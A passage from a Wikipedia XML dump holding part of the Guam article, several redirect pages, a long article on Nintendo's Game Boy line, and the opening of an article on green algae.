Guam is located at {{coor dms|13|26|31|N|144|46|35|E|}}. Guam has an area of 212 mi² (549 km²).  The northern part of the island is a coralline limestone plateau while the south contains volcanic peaks.  A coral reef surrounds most of the island.  Guam is the southernmost island in the Mariana Island chain and is the largest island in Micronesia.  Guam lies along the [[Marianas Trench]], a deep subduction zone at the edge of the Pacific plate.  The [[Challenger Deep]], the deepest point on [[earth]], is southwest of Guam at 35,797 ft (10,911 meters) deep.  The island experiences occasional earthquakes. In recent years, quakes with epicenters near Guam have had magnitudes ranging from 7.0 to 8.2.  Guam is divided into 19 municipalities (often called [[Villages of Guam| villages]]).

== Weather ==
The climate is characterized as tropical marine. The weather is generally warm and humid with little seasonal temperature variation. The average mean temperature is 86 degrees Fahrenheit (30 degrees Celsius) with an average annual rainfall of 86 inches (2,180 millimeters).

The dry season runs from December through June. The remaining months constitute the rainy season. The highest risk of typhoons is during October and November.

An average of three tropical storms and one typhoon pass within 180 nautical miles &lt;!--nautical or statute? erring on the side of caution and guessing nautical--&gt; (330 km) of Guam each year. The most intense typhoon to pass over Guam recently was Typhoon Pongsona which struck Guam in December 2002.

==Ecological Issues==
[[Image:snake_browntree.jpg|thumb|right|Brown Tree Snake]]
The island is also known as a prominent example for the disastrous effects of [[Invasive species|bioinvasion]]: A [[stowaway]] on U.S. military transport at the end of World War II, the slightly venomous, but rather harmless, [[brown tree snake]] (''Boiga irregularis'') came north to Guam and killed almost the entire native bird population on the previously snake-free island. This snake has no natural predators on the island; nowadays, Guam is one of the areas with the highest snake density in the world (an estimated 2,000 snakes/km²).  Even so, residents rarely see these snakes.  They curl up and hide during the day, and move about on trees and fences at night.  As prodigious tree climbers, the snakes allegedly caused frequent blackouts in neighborhoods across the Island.  Now many power poles have a slick metal sheath that prevents the snakes from climbing.

The disappearance of Guam’s  birds and fruit bats (hunted and eaten as a delicacy) could impact plants which require them to spread seeds.  The loss of insectivorous birds and lizards has also led in an increased threat from insect pests.  This has caused decreased crop yields and defoliation of forests.

Other introduced species include toads imported in 1937, the giant African Snail, an agricultural pest, introduced during WWII, and more recently, frog species which could threaten crops in addition to providing additional food for the brown tree snake population.  Fears that their loud croaking will harm tourism also exist.

==Guam in Entertainment==
* In the 1996 [[Matilda (film)|film version]] of [[Roald Dahl]]'s ''[[Matilda (novel)|Matilda]]'', Matilda's family decide to move to Guam to avoid the arrest of Harry Wormwood, Matilda's father. Matilda protests and is quickly adopted by her teacher Miss Honey.

* Another noteworthy mention of Guam is made by author [[Gordon Korman]] in his ''Island'' trilogy series. Guam is the setting in the first book, ''Shipwreck'', where six &quot;naughty&quot; kids are put on a ship and become shipwrecked, but learn skills of survival, trust, and friendship along the way.

* In the episode of [[Disney Channel]]'s ''[[The Suite Life of Zack &amp; Cody]]'' where Zack helps Maddie to achieve the prom of her dreams, Zack is led to believe that he is Maddie's dream date, despite the fact that Maddie is three years older. Zack reasons with his mom that when he's 17 and Maddie is 20, they could &quot;get married in 48 states&quot; and '''Guam'''.

* In the episode of NBC's ''[[Friends]]'' where Rachel turns 30 she is bummed out about turning thirty years old and she says &quot;You know, I'm still 29 in Guam.&quot; This, however, would be an incorrect statement as Guam lies west of the [[International Date Line]].

* In ''[[Hedwig and the Angry Inch]]'', one character wants to leave to perform in the musical ''[[Rent]]'' as it tours Guam.

* [[Mariah Carey]] heard that the island had no birds due to the brown snake and she offered to release birds there.  A Guamanian politician met with her to let her know it is not exactly true.

* In the 2004 comedy &quot;Dodgeball: A True Underdog Story&quot; starring [[Vince Vaughn]] and [[Ben Stiller]], the lead female character Kate mentions Guam when her friend unexpectedly shows up to watch the championship dodgeball match.

* In &quot;Austin Powers: The Spy Who Shagged Me (1999)&quot; A small clip of Guam is shown in the beginning of the movie.

* In a Season Two episode of ''[[Magnum P.I.]]'' (&quot;The Jororo Kill&quot;), the fictional Jororo islands are located 1200 miles southeast of Guam.  It's interesting that Jororo's &quot;President Santos&quot; has a slight Filipino accent and, near the end of the episode, attends a private Roman Catholic Mass, both apparently references to the Philippine Islands (1500 miles west of Guam).

==See also==
*[[Dive Sites of Guam]]
*[[Schools of Guam]]
*[[Aloha Council#Scouting in Guam|Scouting in Guam]] 
*[[Villages of Guam]]

''From the [[CIA World Factbook]] 2000:''
* [[Demographics of Guam]]
* [[Economy of Guam]]
* [[Geography of Guam]]
* [[List of radio stations in Guam]]

==External links==
* [http://ns.gov.gu/ Official Guam Webpage]
* [http://www.guampedia.com/ Guampedia]
* [http://www.guamhumanitiescouncil.org/ Guam Humanities Council]
* [http://www.guampdn.com/apps/pbcs.dll/frontpage ''Pacific Daily News'', Guam's Primary Newspaper]
* [http://kuam.com/ ''KUAM'', Guam's Primary News Channel]
* [http://www.mapsouthpacific.com/micronesia/index.html Map of Micronesia]
* [http://www.lib.utexas.edu/maps/guam.html Maps - Perry-Castañeda Library Map Collection]
* [http://www.mymicronesia.com/guam/ myMicronesia/Guam section]
*[http://www.mesc.usgs.gov/resources/education/bts/bts_home.asp The Brown Tree Snake on Guam] How the arrival of one invasive species damaged the ecology, commerce, electrical systems, and human health on Guam: A comprehensive information source. 
* [http://www.loc.gov/rr/international/hispanic/guam/guam.html U.S. Library of Congress - Portals to the World]
* [http://www.guampowerauthority.com/servingyoubetter/SWAC.htm Guam Power Authority Sea Water Air Conditioning Project]

{{Villages of Guam}}
{{Pacific_Islands}}
{{United_States}}

[[Category:Guam| ]]
[[Category:Insular areas of the United States]]
[[Category:Micronesia]]
[[Category:Oceanic dependencies]]

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    </revision>
  </page>
  <page>
    <title>George Washington/First Inaugural Address</title>
    <id>11976</id>
    <revision>
      <id>15909685</id>
      <timestamp>2002-09-13T06:55:29Z</timestamp>
      <contributor>
        <username>Jeronimo</username>
        <id>108</id>
      </contributor>
      <comment>remove original text, will put external link on article page instead</comment>
      <text xml:space="preserve">#REDIRECT [[George Washington]]</text>
    </revision>
  </page>
  <page>
    <title>George Washington/Second Inaugural Address</title>
    <id>11977</id>
    <revision>
      <id>15909686</id>
      <timestamp>2002-09-13T06:55:16Z</timestamp>
      <contributor>
        <username>Jeronimo</username>
        <id>108</id>
      </contributor>
      <comment>remove original text, will put external link on article page instead</comment>
      <text xml:space="preserve">#REDIRECT [[George Washington]]</text>
    </revision>
  </page>
  <page>
    <title>George W</title>
    <id>11978</id>
    <revision>
      <id>17818296</id>
      <timestamp>2005-06-29T08:56:14Z</timestamp>
      <contributor>
        <username>Susvolans</username>
        <id>94325</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[George W. Bush]]</text>
    </revision>
  </page>
  <page>
    <title>Game Boy line</title>
    <id>11979</id>
    <revision>
      <id>42133307</id>
      <timestamp>2006-03-04T01:11:06Z</timestamp>
      <contributor>
        <username>Nintendude</username>
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      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{CVG system| title = ''Game Boy''
|logo = 
|image = [[Image:Gameboy.jpg|250px|CENTER]]
|manufacturer = [[Nintendo]]
|type = [[Handheld game console]]
|generation = [[History of video games (8-bit era)|Third generation era]]
|lifespan = [[April 21]], [[1989]] 
|media = Game Boy cartridges
|onlineservice = 
|topgame = ''[[Tetris]]''
}}
The '''Game Boy''' line ([[Japanese language|Japanese]]: ゲームボーイ ''Gēmu Bōi'') is a line of [[Battery (electricity)|battery]]-powered [[handheld game console]]s sold by [[Nintendo]]. It is one of the best-selling game system lines selling over 120 million units world wide  [[As of 2005|to date]], and has spawned many successful spin-offs.  The original Game Boy's design set the standard for handheld gaming consoles.

==History==
[[Nintendo]]'s Game Boy handheld was first released in 1989. The gaming device was the brainchild of long-time Nintendo employee [[Gunpei Yokoi]], who was the person behind the ''[[Ultra Hand]]'', an expanding arm toy created and produced by Nintendo in 1970, long before Nintendo would enter the video game market. Yokoi was also responsible for the [[Game &amp;amp; Watch]] series of handhelds when Nintendo made the move from toys to video games.  

When Gunpei designed the original Game Boy, he knew that, to be successful, the system needed to be small, light, inexpensive, and durable, as well as have a varied, recognizable library of games upon its release. By following this simple mantra, the Game Boy line managed to gain a vast following despite technically superior alternatives.

Game Boy continues its success to this day and many at Nintendo have dedicated the handheld in Yokoi's memory. Game Boy celebrated its 15th anniversary in 2004, which nearly coincided with the 20-year anniversary to the original Nintendo Entertainment System (NES).  To celebrate, Nintendo released the [[Classic NES Series]] and a NES-themed color scheme for the [[Game Boy Advance SP]].

==Versions==
The Game Boy console went through several design iterations, without significant changes to its computing power, since its release in 1989.

===Game Boy===
The original Game Boy was released on [[April 21]], [[1989]] in [[Japan]] and in August 1989 in the [[United States]]. Based around a [[Zilog Z80|Z80]] processor, it had a black and green reflective [[Liquid crystal display|LCD]] screen, an eight-way directional pad, and two action buttons. It played games from [[Read-only memory|ROM]]-based media contained in small plastic detachable units called [[cartridge (electronics)|cartridges]] (sometimes abbreviated as carts). 

The game that really pushed it into the upper reaches of success was ''[[Tetris]]''.  Tetris was widely popular, and on the handheld format could be played anywhere.  It came packaged with the Game Boy, and broadened its reach; adults and kids alike were buying Game Boys in order to play ''Tetris'' anywhere.  It is considered to be a [[killer game]] for the Game Boy that made it hugely popular.  Releasing ''Tetris'' on the Game Boy was selected as #4: [http://archive.gamespy.com/articles/july03/25smartest/index23.shtml Tetris Makes Game Boy a Must-Have] on [[GameSpy]]'s ''25 Smartest Moments in Gaming''.

The original Game Boy was the first cartridge-based system that supported more than four players at one time (via the link port).  In fact, it has been shown that the system could support 16 simultaneous players at once.  However, this feature was only supported in ''[[MIDI_Maze#Faceball_2000|Faceball 2000]]''.

[[Image:Gameboyline_with_ds.png|thumb|center|600px|From left to right: Game Boy, Game Boy Pocket, Game Boy Light, [[Game Boy Color]], [[Game Boy Advance]](GBA), [[Game Boy Advance SP]], [[Game Boy micro]].  The [[trademark]] '''Game Boy''' became ambiguous to fans of the Game Boy series.]]

;[[Central processing unit|CPU]]: Custom 8-bit Sharp [[Zilog Z80|Z80]] at 4.194304 MHz (has a slightly different instruction set than a standard [[Zilog Z80|Z80]], and integrated sound generation)
;[[Random Access Memory|RAM]]: 8 kByte internal S-RAM
;Video RAM: 8 kByte internal
;[[Read-only memory|ROM]]: 256 [[kilobit|kbit]], 512 kbit, 1 [[megabit|Mbit]], 2 Mbit and 4 Mbit and 8 Mbit cartridges
;Sound: 4 channel stereo sound. The unit only has one speaker, but headphones provide stereo sound
;Display: Reflective [[Liquid crystal display|LCD]] 160 &amp;times; 144 [[pixel]]s
;Screen Size: 66 mm (2.6 in) diagonal
;Color Palette: 4 shades of &quot;gray&quot; (green to black)
;Communication: Up to 16 Game Boys can be linked together via serial ports
;Power: 6 V, 0.7 W (4 AA batteries provide ~35 hours)
;Dimensions: 90mm(W) &amp;times; 148mm(H) &amp;times; 32mm(D)/3.5 &amp;times; 5.8 &amp;times; 1.3 (inch)

====''Play It Loud!''====
[[Image:Game_Boy_play_it_loud.jpg|thumb|80px|right|A black ''Game Boy Play It Loud!!''.]]
In 1995, Nintendo released several colored Game Boy models, advertising them in the ''Play it Loud!'' campaign.  This new unit is merely a cosmetic change; specifications remain exactly the same.  This new line of colored Game Boys would set a precedent for later Nintendo handhelds; the [[Game Boy Color]], [[Game Boy Advance]] (and [[Game Boy Advance SP|SP]] and [[Game Boy Micro|Micro]]), and the [[Nintendo DS]] all feature different colored units.

====''Game Boy Pocket''====
In 1996, Nintendo released the Game Boy Pocket, a smaller, lighter unit that required fewer batteries. It had space for 2 AAA batteries, which would provide roughly 10 hours of game play.  The Game Boy Pocket has a smaller link port, which requried an adapter for linkage with the older Game Boy.  The port's design was used on all subsequent Game Boy models up until the [[Game Boy micro]]. The screen was changed to a true black-and-white display, rather than the &quot;pea soup&quot; monochromatic display of the original Game Boy. The first version did not have a LED to show battery levels, but was soon added due to public demand.

====''Game Boy Light''====
[[Image:Gblight.jpg|thumb|right|The Game Boy Light emits a green glow (very similar to an indiglow watch) when the light is turned on ]]
Released in 1997, and only available in [[Japan]], the Game Boy Light was about the same size as the Pocket and had a backlit screen for improved visibility. It uses 2 AA batteries which give it approximately 20 hours with the light off and 12 with it on.

The Game Boy Light was the rarest Game Boy variant outside of Japan at one time, but due to the internet and online auction sites, the console has become widely available and sells in [[Akihabara]] nowadays for round about three thousand yen (approximately $25-26 US Dollars) for the normal model and slightly more for the limited editions.

===Game Boy Color===
{{main|Game Boy Color}}
Released in November 1998, the Game Boy Color (also referred to as '''GBC''') added a color screen to a form factor slightly larger than the Game Boy Pocket. It also has double the processor speed, twice as much memory, and an [[infrared]] communications port. A major draw of the Game Boy Color was its [[backward compatibility]] (that is, a Game Boy Color is able to read older Game Boy cartridges and even play them in selectable color). This became a major feature of the Game Boy line, since it allowed each new launch to begin with a significantly larger library than any of its competitors. Technologically, it was likened to the [[Nintendo Entertainment System|NES]] from the 1980s.

===Game Boy Advance===
{{main|Game Boy Advance}}
In June 2001, Nintendo released a significant upgrade to the Game Boy line.  The Game Boy Advance (also referred to as '''GBA''') featured a 32 bit 16.8 [[Megahertz|MHz]] [[ARM architecture|ARM]].  It included a [[Zilog Z80|Z80]] processor for backward-compatibility support.  It was technically likened to the [[Super Nintendo Entertainment System|SNES]] and showed its power with successful ports of ''[[Super_Mario_remake_series#Super_Mario_World:_Super_Mario_Advance_2|Super Mario World]]'' and ''[[Super_Mario_remake_series#Yoshi.27s_Island:_Super_Mario_Advance_3|Yoshi's Island]]''.  It has also been accompanied alongside new titles such as ''[[Mario Kart Super Circuit]]'' and ''[[F-Zero: Maximum Velocity]]''.

====''Game Boy Advance SP''====
[[Image:93 phull.jpg|150px|right|thumb|Game Boy Advance SP]]
{{main|Game Boy Advance SP}}
Launched in March 2003, the Game Boy Advance SP resolved several problems with the original model.  It features a new smaller [[clamshell]] design with a flip-up screen (protecting the screen, an issue with the original), an internal [[frontlight]], and a rechargeable battery, but was otherwise unchanged.  The ''SP'' stands for '''''Sp'''ecial'' [http://www.nintendo.com/consumer/systems/gameboyadvance_sp/faq.jsp#sp]. In mid September 2005, Nintendo released a new model that featured a new and improved [[backlight|backlit]] screen. As of this writing, the Game Boy Advance SP is the last Game Boy handheld to offer backward compatibility with all Game Boy games.

====''Game Boy micro''====
{{main|Game Boy micro}}
[[Image:GameBoyMicro.jpg|150px|thumb|right|The Nintendo Game Boy micro]]
A second Game Boy Advance redesign (third design), the Game Boy micro is four inches wide, two inches tall, and less than an inch deep and weighs 2.8 ounces, by far the smallest Game Boy created. It is slightly smaller than the SP or GBA screens while maintaining the same resolution (240 &amp;times; 160 pixels). The Game Boy micro is not backward compatible with all game boy games. It was released on [[September 19]], [[2005]] in Japan and North America.
&lt;!-- until Nintendo announces it, the Game Boy Evolution is a rumor and a rumor ONLY.  Wikipedia (WP:NOT) is not a crystal ball --&gt;

== Other Nintendo handheld consoles ==
There also other Nintendo handheld consoles that not part of the Game Boy line, but have features and structures that make them similar.

===Game &amp;amp; Watch===
{{main|Game &amp;amp; Watch}}
Designed by [[Gunpei Yokoi]], these LCD games are considered to be the predecessor to the Game Boy.  There were 58 different games released from 1980-1989. The games also included an alarm clock (thus why it is called &quot;Watch&quot;).  The horitzontal orientation was later used for the [[Game Boy Advance]] and [[Game Boy Micro]] and the clamshell design of other games was used for the [[Nintendo DS]]. Numerous Game &amp; Watch games have been re-released through the [[Game &amp; Watch Gallery]] series.

===Nintendo DS===
{{main|Nintendo DS}}
[[Image:BlueSkinnedDS.png|150px|thumb|right|The Nintendo DS, skinned blue.]]
The Nintendo DS launched on [[November 20]], [[2004]] in North America and [[December 4]], [[2004]] in Japan, making it unusual as a Nintendo device to launch in North America before Japan. In fact, its unusual design and touch-screen control distinguish it from the Game Boy line. [[Nintendo]] refers to it as their ''third pillar''; their home consoles, such as the [[Nintendo GameCube]], being the first, and their Game Boy line of portable-gaming devices being the second. It has been technically likened to the [[Nintendo 64]].

The Nintendo DS can be considered a part of the portable family due to structural similarities to Game Boy and its ability to play [[Game Boy Advance]] cartridges (but not [[Game Boy Color]] or original Game Boy cartridges).  This has also led to speculation that the DS will either replace or be assimilated into the Game Boy line.

====''Nintendo DS Lite''====
{{main|Nintendo DS Lite}}
On [[January 26]], [[2006]], Nintendo unveiled the [[Nintendo DS Lite]], a redesigned version of the DS. It is smaller than the current DS model&amp;mdash;133 &amp;times; 73.9 &amp;times; 21.5mm against 148.7 &amp;times; 84.7 &amp;times; 27.9. It is also lighter, at 218g against 295g. It will sell for 16,800 yen ($145), compared with the current model's price of 15,000 yen ($130). [http://www.next-gen.biz/index.php?option=com_content&amp;amp;task=view&amp;amp;id=2134&amp;amp;Itemid=2]

==Accessories==
===Game Boy Camera &amp;amp; Printer===
[[Image:Gb_camera.PNG|thumb|frame|The Game Boy Camera was a rudimentary [[digital camera]].]]
{{main2|Game Boy Camera|Game Boy Printer}}

The [[Game Boy Camera]] &amp;amp; [[Game Boy Printer|Printer]] are accessories for the Game Boy handheld gaming console and were released in 1998. The camera could take basic black &amp;amp; white, often grainy, digital images using the 4-color palette of the Game Boy system. The printer utilized heat-sensitive paper to &quot;burn&quot; any saved images, making a hard copy.  Both items were marketed by Nintendo as light-hearted entertainment devices, in all three major videogame regions of the world: Japan, North America, and Europe.  The N64 magazine (published by Future) dedicated a monthly section to the device.  The Game Boy Printer was subsequently used in a few Game Boy Color games, such as [[Super Mario Bros. Deluxe]], [[The Legend of Zelda: Link's Awakening DX]], and [[Donkey Kong Country]].

It was never Nintendo's intention to transform the GB system into a [[Personal digital assistant|PDA]]; any such claims are untrue.  However, a commercial advertising the products showed a young kid using the devices, with an adult using a laptop looking over in astonishment.  The commercial at least indicates that Nintendo was at least referencing and/or parodying adult-geared portable systems.

There are also several mini-games along with the camera.  A picture of the user's head is inserted into several mini-games.

#'''Ball''' is a juggling game, in which the player moves his or her hand around to catch and throw balls in the style of the [[Game and Watch]] game of the same name, only with [[Mr. Game and Watch]]'s head replaced with the player's. 
#'''DJ''', probably the most popular game on the Game Boy Camera, the player can mix and create his or her own music. The player's head is the DJ. 
#'''Space Fever II''' is an homage/sequal to an early Nintendo arcade game.  In the game, the player controls a spaceship which fires missiles at other ships. The player's head becomes the boss of each level. 
#'''Run! Run! Run!''' is the bonus game, which is obtained by reaching a score of 2,000 or more in Space Fever II. The player's head becomes attached to a cartoon body, and he or she races against a mole and a bird for the finish line.

Recently, the [[EyeToy]] accessory for the [[PlayStation 2]] has vastly expanded upon the idea of using the image of the player in the game and as part of the game.

===Super Game Boy===
{{main|Super Game Boy}}
The '''Super Game Boy''' is a plug-in cartridge for the [[Super Nintendo Entertainment System]] that allowed Game Boy games to be played on a [[television]] screen. It was released in 1994. The black-and-white games could be colorized by mapping colors to each of the four grays.  A 1998 follow-up, the Super Game Boy 2 (primarily released in Japan, though some sold through [[QVC]]'s shopping channel in the U.S.), included more colors, frames, and a link port for multiplayer support.

===Transfer Pak===
{{main|Transfer Pak}}
Released in 1999, the '''Transfer Pak''' was a device that fit onto the [[Nintendo 64]] controller. However, unlike the Super Game Boy, it was typically only used for the transfer of Game Boy Color data to their N64 equivalents. However, [[Pokémon Stadium]] and [[Pokémon Stadium 2]] allowed players to play Pokémon Red, Blue, and Yellow (on both Stadiums) and Gold, Silver, and Crystal (Only on Stadium 2) on the television screen similarly to the Super Game Boy.

===Game Boy ExChanger (GBX)===
The (unofficial) GBX, produced by [[Bung Enterprises Ltd]], was the best-known backup unit for Game Boy and Game Boy Color games. The device plugged into the parallel port of the PC and allowed dumping [[Read-only memory|ROM]] and SRAM sumee data to PC, as well as rewriting flashcarts to play copies of Game Boy games.

===Game Boy Player===
{{main|Game Boy Player}}
Released in June 2003 as the spiritual successor to the Super Game Boy, the Game Boy Player allows Game Boy, Game Boy Color, and Game Boy Advance games to be played on the [[Nintendo GameCube]]. It also has a link port so players can use multiplayer and [[e-Reader]] functions. It uses the same color palette built into the cart instead of colorizing the games.

===Game Boy Advance Wireless Adapter===
{{main|Game Boy Advance Wireless Adapter}}
The Wireless Adapter allows players to play wirelessly without a link cable.  As of 2005, fewer than twenty games support this feature.  The feature's greatest usefulness is most evident in ''[[Pokémon FireRed and LeafGreen|Pokémon FireRed]]'', ''[[Pokémon FireRed and LeafGreen|LeafGreen]]'', and ''[[Pokémon Emerald|Emerald]]'', where up to sixteen Wireless Adapter-connected players could convene in a &quot;Union Room&quot; of sorts.

===e-Reader===
{{main|E-Reader}}
A peripheral released for the Game Boy Advance and SP in 2002 that unlocks special content for certain games.  Content includes mini-games, different worlds, or full and complete games.  The content was added or unlocked by purchasing e-Reader cards and swiping them in.  The e-Reader was considered to be a general failure; although still selling in Japan, it was not released in Europe, and was discontinued in North America in early 2004.

==Cartridges==
[[Image:Weirdgamescreen.jpg|thumb|275px|A Game Boy screen may look unusual if a game cart is pulled out while the power is on.]]

Each [[Computer and video game|video game]] is contained in a small plastic [[cartridge (electronics)|cartridge]] (or &quot;cart&quot;). Game Boy and GBC cartridges measure 5.8 cm by 6.5 [[Metre#SI multiples|cm]]. The software contained within provides the data, logic, and rules of the game, accepts input from the console controls or buttons, and outputs the results to the screen display and speaker. If the developer wishes, they can include either a small battery or a flash chip within the cartridge, which allows game data to be saved; this allows the game to be continued at a later time.

The game cart is inserted into the console cart slot. If the game cart is pulled out while the power is on, the Game Boy will exhibit undefined behavior. This will freeze the game and may cause weird occurrences, such as rows of zeros appearing on the screen and the sound remaining at the same pitch as was emitted the instant the game was pulled out. Pulling a cart out of the Game Boy while the power is on may cause saved data or hardware to be damaged. This applies to almost all [[video game console]] using cartridges. 

The original Game Boy power switch was designed to prevent the player from being able to remove the cart while powered on. Cartridges intended only for Game Boy Color (and not for the original Game Boy) use the space intended for the locking mechanism to prevent insertion into the original Game Boy.  Even if this is bypassed by using a Game Boy Pocket, Game Boy Light, or Super Game Boy, the game will not run, and an image on the screen will inform the user that the game is only meant for Game Boy Color systems.

[[Image:Gbcarts.jpg|thumb|right|275px|Game Boy cartridges]]

Excluding game specific variations, there are four types of cartridges used on Game Boy systems:

*'''Gray cartridges''' can be used with all Game Boy systems except the Game Boy micro and the DS. All original Game Boy and Game Boy Pocket titles are of this type. Sometimes these cartridges came in other colors, such as red and blue for ''[[Pokémon Red and Blue]]'' or yellow for ''[[Donkey Kong Land]]'' and ''[[Pokémon Yellow]]''.  These games were programmed in black and white; when used on the Game Boy Color or Game Boy Advance, the color of the graphics can be chosen at the start-up screen. Many games produced from 1994 through 1998 also had [[Super Game Boy]] enhancements. The palettes for gray cartridge games played on a later system are as follows (This applies for the GBC, GBA, GBA SP, and the Game Boy Player):
{|
|valign=&quot;top&quot;|
*Up: Brown
*Up + A: Red
*Up + B: Dark Brown
|width=&quot;30&quot;|&amp;nbsp;
|valign=&quot;top&quot;|
*Down: Pastel Mix
*Down + A: Orange
*Down + B: Yellow
|width=&quot;30&quot;|&amp;nbsp;
|valign=&quot;top&quot;|
*Left: Blue
*Left + A: Dark Blue
*Left + B: Gray
|width=&quot;30&quot;|&amp;nbsp;
|valign=&quot;top&quot;|
*Right: Green
*Right + A: Dark Green
*Right + B: Reverse
|}
In addition, most Nintendo-published gray cartridge games have a special default palette, accessible by not pressing any buttons. Any game which does not have a special default palette will default to the Right + A (Dark Green) pallette instead.

*'''Black cartridges''' are compatible with the Game Boy, Game Boy Pocket, and Game Boy Light systems, and are in full color on Game Boy Color, Game Boy Advance, and SP (e.g. ''[[Pokémon Gold and Silver]]'' and ''[[Dragon Quest I &amp; II|Dragon Warrior I&amp;II]]'').  Games such as ''Wario Land II DX'', ''The Legend of Zelda: Link's Awakening DX'', and ''Tetris DX'' were re-releases of gray cartridge games with additional content and in full color. Roughly one quarter of Game Boy Color releases were black cart games. A small number of these games also had [[Super Game Boy]] enhancements.
*'''Clear cartridges''' can only be played on Game Boy Color and beyond. They do not physically fit in the Game Boy micro or DS due to their design. Roughly three quarters of Game Boy Color releases were clear cart games.
*'''Advance cartridges''' are half the size of all earlier cartridges and can only be played on Game Boy Advance and beyond and on the Nintendo DS. However, the DS cannot use the multiplayer modes of some Game Boy Advance titles due to its lack of a link-cable port.

==Popularity==
Most game consoles become obsolete as newer systems become available. The Game Boy is unique in its stamina.  2004 brought about its 15th anniversary and in that time it has seen off many (often technically superior) rivals; most notably the [[Sega Game Gear]] and the [[Atari Lynx]]. 

Thousands of games are available for the Game Boy, which can be attributed in part to its sales in the amounts of millions, a well-documented design, and a typically short development cycle.

The [[Nintendo DS]] is able to play the large library of Game Boy Advance games. However, it cannot play multiplayer GBA games or link to the [[Nintendo GameCube]], and it is not backward-compatible at all with the original Game Boy or the Game Boy Color due to the lack of a [[Zilog Z80|Z80]] processor.

== Popular culture==
*The short-lived 1980s cartoon series ''[[Captain N: The Game Master]]'' featured a life-sized Game Boy character, who communicated via faces on its screen.
*Television commercials in the early [[1990s]] for the [[Sega Game Gear]] often mocked the Game Boy, at one point alleging it had a &quot;creamed spinach color&quot; in contrast to its own full-color graphics. However, many saw these commercials as petulant admissions that the Game Boy was thrashing the Game Gear in sales (as indeed it was).
*[[Thomas Ian Nicholas]]' character plays &quot;Tetris&quot; for Game Boy in the 1993 film ''[[Rookie of the Year (film)|Rookie of the Year]]''.
*Numerous musical acts have appropriated the Game Boy as a musical instrument. Notably: [http://www.robotandproud.com/6955/ 6955], [http://www.bitshifter.cc/ Bit Shifter], [http://www.bubblyfish.com/ Bubblyfish], [http://www.covox.net/ Covox], [http://www.19-t.com/comb/ Cow'P], [http://www.dotmatrix.at/ dot.matrix], [http://www.firestarter-music.de/ FirestARTer], [http://www.gameboymusicclub.org/ Gameboy Music Club], [http://gameboyzz.com/ Gameboyzz Orchestra], [http://www.glomag.com/ Glomag], [http://www.lo-bat.be/ Lo-bat], [http://www.budmelvin.com/ Bud Melvin], [http://www.nullsleep.com/ Nullsleep], [http://www.webhole.com/omac OMAC], [http://pianobusters.com/saitone/ Saitone], etc.

==Emulation==
Some [[firmware]] has been released for the [[GBA Movie Player]] to allow ROM images for old Game Boy games to be used on the GBA, as well as the [[Nintendo DS]].  The ROM images are stored on [[CompactFlash]] cards used in the GBA Movie Player.

== Screenshots ==
&lt;center&gt;
&lt;gallery&gt;
Image:GB_Tetris.png|''[[Tetris]]''&lt;br /&gt;[[Nintendo]] ([[1989]])
Image:GB_Super_Mario_Land_2.png|''[[Super Mario Land 2]]''&lt;br /&gt;Nintendo ([[1992]])
Image:GB_Pokemon_Yellow.png|''[[Pokémon Yellow]]''&lt;br /&gt;[[Game Freak]]/Nintendo ([[1999]])(Japanese Edition[[1998]])
Image:GB_V-Rally.png|''V-Rally''&lt;br /&gt;[[Infogrames]] (1998)
&lt;/gallery&gt;
&lt;/center&gt;

==See also==
{{commons|Game Boy and variants}}
* [[List of Game Boy games]]
* [[List of Game Boy Color games]]
* [[List of Game Boy Advance games]]
* [[List of Super Game Boy games]]
* [[List of Game Boy colors and styles]]
* [[Game &amp;amp; Watch]]
* [[Virtual Boy]]
* [[Nintendo DS]]
* [[Nintendo DS Lite]]
* [[Comparison of handheld gaming consoles]]

==External links==
* [http://www.portablegamingworld.com Portable Gaming World] - English community news and posts for all handhelds
*[http://www.gameboy.nu Game Boy Database] - A Swedish gameboy database
*[http://www.gameboyland.ch.vu Game Boy Land]
*[http://www.gameboy-advance.net/emulated/gb_roms_on_gba.htm GB on GBA Flash Cards] - emulators for playing GB games on GBA flash cartridges
*[http://www.elook.org/games/cheats/gbc/ eLook Game Boy Color Cheats]
*[http://system.tideblue.com/ Game Boy Family Hardware Product Numbers]
*[http://members.chello.at/herbert_weixelbaum/gb_links.html Game Boy Music Links]

{{Nintendo hardware|Game Boy}}

[[Category:Game Boy consoles|*]]
[[Category:Game Boy|*]]
[[Category:Third-generation video game consoles]]
[[Category:Video game console remakes (article section)]]
[[Category:Monochrome video game consoles]]

[[de:Game Boy]]
[[es:Game Boy]]
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[[ko:게임보이]]
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[[nl:Nintendo Game Boy]]
[[ja:ゲームボーイ]]
[[no:Game Boy]]
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    </revision>
  </page>
  <page>
    <title>Geologic age</title>
    <id>11980</id>
    <revision>
      <id>15909689</id>
      <timestamp>2005-06-13T01:16:05Z</timestamp>
      <contributor>
        <username>Dragons flight</username>
        <id>16980</id>
      </contributor>
      <minor />
      <comment>remove double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Geologic time scale]]</text>
    </revision>
  </page>
  <page>
    <title>Green alga</title>
    <id>11981</id>
    <revision>
      <id>41990856</id>
      <timestamp>2006-03-03T02:05:47Z</timestamp>
      <contributor>
        <username>Josh Grosse</username>
        <id>517</id>
      </contributor>
      <text xml:space="preserve">{{Taxobox
| color = lightgreen

| name = Green algae
| regnum = [[Plantae]]
| subdivision_ranks = Divisions
| subdivision = 
*[[Chlorophyta]] &lt;BR&gt;
*[[Charophyta]] &lt;BR&gt;
**[[Streptophytina]] (Subdivision)&lt;BR&gt;
}}
The '''green algae''' are the large group of [[alga]]e from which the [[embryophyte]]s (higher plants) emerged.  As such they form a [[paraphyletic]] group, variously included among the [[Plantae]] or with the [[Protist]]a.  The green algae include  unicellular and colonial flagellates, usually but not always with two flagella per cell, as well as various colonial, coccoid, and filamentous forms.  In the [[Charales]], the closest relatives of higher plants, full differentiation of tissues occurs.

Almost all forms have [[chloroplast]]s.  These contain [[chlorophyll]]s ''a'' and ''b'', giving them a bright green colour (as well as the accessory pigments [[beta carotene]] and [[xanthophyll]]s), and have stacked [[thylakoid]]s.  They are bound by a double membrane, so presumably were acquired by direct [[endosymbiotic theory|endosymbiosis]] of [[cyanobacteria]].  A number of cyanobacteria show similar pigmentation, but this appears to have arisen more than once, and the chloroplasts of green algae are no longer considered closely related to such forms.  Instead, the green algae probably share a common origin with the red algae; the two are grouped as the [[Archaeplastida]] or Plantae ''sensu lato''.

